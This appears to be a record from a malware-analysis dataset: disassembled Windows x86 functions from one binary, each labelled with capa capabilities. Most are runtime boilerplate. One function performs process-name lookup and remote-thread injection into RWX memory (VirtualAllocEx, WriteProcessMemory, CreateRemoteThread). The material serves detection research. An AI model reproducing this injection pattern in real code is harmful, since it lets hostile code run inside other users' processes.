joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401102
Capabilities:
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0x18
mov eax, dword [ebp - 0x18]
mov eax, dword fs:[eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x40115e
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jne 0x40114d
mov dword [ebp - 0xc], 1
jmp 0x401188
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], 0x577ae8
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
lock cmpxchg dword [edx], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40113c
mov eax, dword [0x577ae4]
cmp eax, 1
jne 0x4011a0
mov dword [esp], 0x1f
call fcn.0041c7b8
jmp 0x4011d3
mov eax, dword [0x577ae4]
test eax, eax
jne 0x4011c9
mov dword [0x577ae4], 1
mov dword [esp + 4], 0x57a014
mov dword [esp], 0x57a00c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x4011d3
mov dword [0x57701c], 1
mov eax, dword [0x577ae4]
cmp eax, 1
jne 0x4011fb
mov dword [esp + 4], 0x57a008
mov dword [esp], section..CRT
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x577ae4], 2
cmp dword [ebp - 0xc], 0
jne 0x401217
mov dword [ebp - 0x2c], 0x577ae8
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
xchg dword [eax], edx
mov eax, dword [entry1]
test eax, eax
je 0x401241
mov eax, dword [entry1]
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0
call eax
sub esp, 0xc
call fcn.0040d4f1
mov dword [esp], 0x40d60c
mov eax, dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call eax
sub esp, 4
mov dword [0x577074], eax
mov dword [esp], section..text
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.0040ce90
mov eax, dword [0x577004]
mov dword [esp + 4], 0x577008
mov dword [esp], eax
call fcn.004013c8
call fcn.0040cccc
mov eax, dword [0x4d3370]
mov edx, dword [0x57700c]
mov dword [eax], edx
mov ecx, dword [0x57700c]
mov edx, dword [0x577008]
mov eax, dword [0x577004]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004c91c0
mov dword [0x577014], eax
mov eax, dword [0x577018]
test eax, eax
jne 0x4012d0
mov eax, dword [0x577014]
mov dword [esp], eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x57701c]
test eax, eax
jne 0x4012de
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x577014]
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x57704c], 1
mov dword [0x577050], 1
mov dword [0x577054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret

Function at 0x401696
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov eax, 0x114c
mov ebp, esp
push edi
push esi
push ebx
call fcn.0040de48
sub esp, eax
lea eax, [ebp - 0x1138]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1018]
mov dword [esp + 4], 0x1000
mov dword [esp], eax
call sub.PSAPI.DLL_EnumProcesses
sub esp, 0xc
test eax, eax
jne 0x4016d6
xor eax, eax
jmp 0x4017d9
mov eax, dword [ebp - 0x1138]
xor esi, esi
shr eax, 2
mov dword [ebp - 0x1140], eax
mov eax, dword [ebp - 0x1140]
cmp esi, eax
je 0x4016cf
mov eax, dword [ebp + esi*4 - 0x1018]
test eax, eax
je 0x4017d3
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x4017d3
xor ecx, ecx
lea edi, [ebp - 0x111c]
mov dword [esp + 0xc], 0x104
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp], eax
call sub.PSAPI.DLL_GetModuleBaseNameA
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1134]
sub esp, 0x10
mov dword [esp], eax
call fcn.00401592
push eax
mov ecx, dword [ebp - 0x1130]
mov dword [ebp - 0x1144], ecx
mov dword [esp], edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov ecx, dword [ebp - 0x1144]
mov byte [ebp - 0x1139], 0
cmp ecx, eax
jne 0x4017a8
mov byte [ebp - 0x1139], 1
test ecx, ecx
je 0x4017a8
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
mov eax, dword [ebp - 0x1134]
mov dword [esp], eax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
sete byte [ebp - 0x1139]
lea ecx, [ebp - 0x1134]
call fcn.004a7450
cmp byte [ebp - 0x1139], 0
mov dword [esp], ebx
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x4017d0
call eax
push edx
mov eax, dword [ebp + esi*4 - 0x1018]
jmp 0x4017d9
call eax
push eax
inc esi
jmp 0x4016e7
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4017e1
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
test eax, eax
jne 0x40181f
or eax, 0xffffffff
jmp 0x401894
mov ebx, eax
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
test eax, eax
je 0x40181a
xor ecx, ecx
mov dword [esp + 0xc], ebx
xor ebx, ebx
mov dword [esp + 8], ebx
mov dword [esp + 4], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
sub esp, 0x1c
mov ebx, eax
test eax, eax
je 0x40181a
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
push eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
push edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4018b5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
mov esi, dword [edi + eax + 0x78]
add esi, edi
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x20]
add eax, edi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], ebx
je 0x40190d
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + ebx*4]
add eax, edi
mov dword [esp], eax
call fcn.0040189c
cmp eax, dword [ebp + 0xc]
jne 0x40190a
add ebx, ebx
add ebx, edi
add ebx, dword [esi + 0x24]
movzx eax, word [ebx]
lea eax, [edi + eax*4]
add eax, dword [esi + 0x1c]
add edi, dword [eax]
mov eax, edi
jmp 0x40190f
inc ebx
jmp 0x4018da
xor eax, eax
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40ce98
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0041c5d8
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort

Function at 0x40da6c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40da8b
mov eax, 0
jmp 0x40dacf
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40daae
mov eax, 0
jmp 0x40dacf
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x40daca
mov eax, 0
jmp 0x40dacf
mov eax, 1
leave
ret

Function at 0x40dad1
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40db30
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x40db28
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x40db28
mov eax, dword [ebp - 4]
jmp 0x40db44
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x40db05
mov eax, 0
leave
ret
Function at 0x41f5d8
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 8], 0
je 0x41f6a0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0041ed7c
cmp eax, 1
jne 0x41f696
mov dword [ebp - 0x3d], 0
mov dword [ebp - 0x39], 0
mov dword [ebp - 0x35], 0
mov dword [ebp - 0x31], 0
mov dword [ebp - 0x2d], 0
mov dword [ebp - 0x29], 0
mov dword [ebp - 0x25], 0
mov dword [ebp - 0x21], 0
mov dword [ebp - 0x1d], 0
mov dword [ebp - 0x19], 0
mov dword [ebp - 0x15], 0
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
mov byte [ebp - 9], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.Error_cleaning_up_spin_keys_for_thread__lu._n
mov dword [esp + 4], 0x35
lea eax, [ebp - 0x3d]
mov dword [esp], eax
call fcn.00426c80
lea eax, [ebp - 0x3d]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call eax
sub esp, 4
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov dword [eax], edx
jmp 0x41f6a1
nop
leave
ret
Function at 0x420626
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x1c], 0xffffffff
mov dword [esp + 4], 0x420495
mov dword [esp], 0x577aa4
call fcn.0041fc05
mov eax, dword [0x4d33c0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x42066d
mov eax, dword [ebp - 0x20]
jmp 0x4207b8
call fcn.0041f4e1
mov dword [ebp - 0x20], eax
mov eax, entry3
test eax, eax
je 0x420684
cmp dword [ebp - 0x20], 0
jne 0x42068e
mov eax, 0
jmp 0x4207b8
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x24], 1
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x1c], 0xffffffff
mov eax, dword [ebp - 0x20]
lea edx, [eax + 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0041f5d8
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x64], 0
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x20]
lea edi, [eax + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call eax
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
test eax, eax
jne 0x420760
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadPriority]
call eax
sub esp, 4
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x6c], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x68], 0
mov eax, dword [ebp - 0x20]
movzx edx, byte [eax + 0x20]
and edx, 0xffffffcf
or edx, 0x10
mov byte [eax + 0x20], dl
mov eax, dword [0x4d33c0]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
test eax, eax
jne 0x4207b5
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x42087c
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
call fcn.00420626
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xb4]
mov dword [esp], eax
call fcn.004204b9
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax + 0x20]
and eax, 0x30
test al, al
jne 0x4208d7
mov eax, dword [ebp - 0x14]
add eax, 0x70
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_longjmp]
call eax
mov eax, dword [0x4d33c0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x420a01
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x420969
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x420926
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0041f3ef
mov dword [ebp - 0x10], 0
mov eax, dword [0x4d33c0]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
jmp 0x420a01
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x68], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x420999
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x24]
and eax, 4
test eax, eax
je 0x420a01
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0041f3ef
mov dword [ebp - 0x10], 0
mov eax, dword [0x4d33c0]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__endthreadex]
call eax
Function at 0x422424
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], 0x4d33d0
call fcn.0041ed86
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax]
cmp eax, 0xbab1f0ed
jne 0x422450
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
test eax, eax
jg 0x422492
mov dword [esp], 2
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call eax
mov dword [esp + 0x10], 0x28
mov dword [esp + 0xc], str..._.._.._mingw_w64_libraries_winpthreads_src_rwlock.c
mov dword [esp + 8], str.___rwlock_t__rwl___valid__LIFE_RWLOCK______rwlock_t__rwl___busy___0_
mov dword [esp + 4], str.Assertion_failed:___s___file__s__line__d_n
mov dword [esp], eax
call fcn.0041c664
mov dword [esp], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov edx, dword [eax + 4]
sub edx, 1
mov dword [eax + 4], edx
mov dword [esp], 0x4d33d0
call fcn.0041edfe
mov eax, dword [ebp + 0xc]
leave
ret

Function at 0x485dd0
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x1c
mov edi, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
mov eax, dword [ebx]
mov dword [esp], eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll__fileno
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
mov ebp, eax
cmp eax, 0xffffffff
je 0x485e10
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 4
je 0x485de1
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8

Function at 0x4c8230
Capabilities:
Write file on windows

Disassembly:
push ebx
mov edx, 1
sub esp, 0x18
mov eax, dword [esp + 0x20]
test eax, eax
cmovne edx, eax
mov ebx, edx
mov dword [esp], ebx
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test eax, eax
je 0x4c8255
add esp, 0x18
pop ebx
ret
call fcn.004c2700
test eax, eax
je 0x4c9cd4
call eax
jmp 0x4c8244

Function at 0x4c87a0
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
call fcn.004c8540
mov edx, dword [eax]
add dword [eax + 4], 1
test edx, edx
je 0x4c9ccc
mov ecx, dword [edx + 0x30]
mov ebx, dword [edx + 0x34]
mov esi, 1
add ecx, 0xbcd4d500
mov edi, ecx
adc ebx, 0xb8b1aabc
xor ecx, ecx
cmp esi, edi
sbb ecx, ebx
jae 0x4c87f7
xor ecx, ecx
mov dword [eax], ecx
lea ebx, [edx + 0x30]
mov dword [esp], ebx
call fcn.004112e0
mov dword [esp], ebx
call fcn.004c8320
jmp 0x4c9ccc
neg dword [edx + 0x14]
jmp 0x4c87df
Function at 0x4c9cbc
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
mov eax, dword [fcn.004c9cac]
mov dword [esp], eax
call fcn.004280a0
call fcn.004c9cac
nop
nop
nop
mov dword [esp], 4
call fcn.004c82c0
mov dword [eax], fcn.004c0320
mov dword [esp + 8], fcn.004c0320
mov dword [esp + 4], 0x52f774
mov dword [esp], eax
call fcn.004c8800
nop
nop
nop
sub edx, 1
mov dword [esp], eax
jne 0x4c9d85
call fcn.004c8320
mov ecx, eax
mov eax, dword [eax]
call dword [eax + 8]
mov dword [esp], 2
mov ebx, eax
call esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xb
mov dword [esp + 4], 1
mov dword [esp], str.__what__:
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov dword [esp], 2
call esi
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputs
mov dword [esp], 2
call esi
mov dword [esp + 4], eax
mov dword [esp], 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
call fcn.004c8420
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov dword [esp], edi
call fcn.0041cab8
call fcn.004c87a0
call fcn.004c8320
call fcn.004c8420
jmp 0x4c9d73
Function at 0x4cb3a0
Capabilities:
Query environment variable

Disassembly:
push edi
sub esp, 0x18
mov eax, dword [esp + 0x20]
lea edi, [eax + 0x60]
mov dword [esp], edi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test eax, eax
je 0x4c8302
mov edx, eax
lea edi, [edx + 4]
mov ecx, edx
xor eax, eax
mov dword [edx], 0
and edi, 0xfffffffc
mov dword [edx + 0x5c], 0
sub ecx, edi
add ecx, 0x60
shr ecx, 2
rep stosd dword es:[edi], eax
add esp, 0x18
lea eax, [edx + 0x60]
pop edi
ret
mov eax, edi
call fcn.004283c0
mov edx, eax
test eax, eax
je 0x4cb38c
jmp 0x4c82d9
call fcn.004c9cac
nop
nop
nop
call fcn.004c9cac
nop
nop
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x30
mov dword [esp + 4], 0
mov dword [esp], 0x4d3740
call fcn.0041eaac
mov dword [esp], str.GLIBCXX_TUNABLES
mov dword [0x4d3744], 0
mov dword [0x4d3748], 0
mov dword [0x4d374c], 0
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov dword [esp + 0x18], 8
mov dword [esp + 0x1c], str.obj_size
mov ebx, eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 9
mov dword [esp + 0x28], str.obj_count
mov dword [esp + 0x2c], 0x40
test eax, eax
jne 0x4cb436
jmp 0x4cb4f6
mov dword [esp], ebx
mov dword [esp + 4], 0x3a
call sub.api_ms_win_crt_private_l1_1_0.dll_strchr
mov ebx, eax
test eax, eax
je 0x4cb4b0
xor eax, eax
cmp byte [ebx], 0x3a
sete al
add ebx, eax
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
xor eax, 0x62696c67
xor edx, 0x2e787863
or eax, edx
jne 0x4cb420
mov eax, dword [ebx + 7]
mov edx, dword [ebx + 0xb]
xor eax, 0x5f68652e
xor edx, 0x6c6f6f70
or eax, edx
jne 0x4cb420
cmp byte [ebx + 0xf], 0x2e
jne 0x4cb420
add ebx, 0x10
lea esi, [esp + 0x18]
mov edi, dword [esi]
test edi, edi
je 0x4cb493
mov dword [esp + 8], edi
mov dword [esp + 4], ebx
mov eax, dword [esi + 4]
mov dword [esp], eax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
jne 0x4cb49d
cmp byte [ebx + edi], 0x3d
je 0x4cb524
add esi, 0xc
lea eax, [esp + 0x30]
cmp eax, esi
jne 0x4cb476
jmp 0x4cb420
mov eax, dword [esp + 0x2c]
mov edx, 0x100
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [esp + 0x20]
test eax, eax
cmove eax, ecx
add eax, 0x2c
imul eax, edx
lea ebx, [eax*4]
mov dword [0x4d374c], ebx
test ebx, ebx
jne 0x4cb505
mov dword [esp], 0x4c9180
call fcn.00401494
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov dword [0x4d374c], 0x3200
mov ebx, 0x3200
mov dword [esp], ebx
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov dword [0x4d3748], eax
test eax, eax
je 0x4cb562
xor edx, edx
mov dword [0x4d3744], eax
mov dword [eax], ebx
mov dword [eax + 4], edx
jmp 0x4cb4e3
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
lea eax, [ebx + edi + 1]
mov dword [esp], eax
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtoul
mov ebx, dword [esp + 0x14]
movzx edx, byte [ebx]
cmp dl, 0x3a
je 0x4cb552
test dl, dl
jne 0x4cb420
test eax, eax
js 0x4cb420
mov dword [esi + 8], eax
jmp 0x4cb420
xor ecx, ecx
mov dword [0x4d374c], ecx
jmp 0x4cb4e3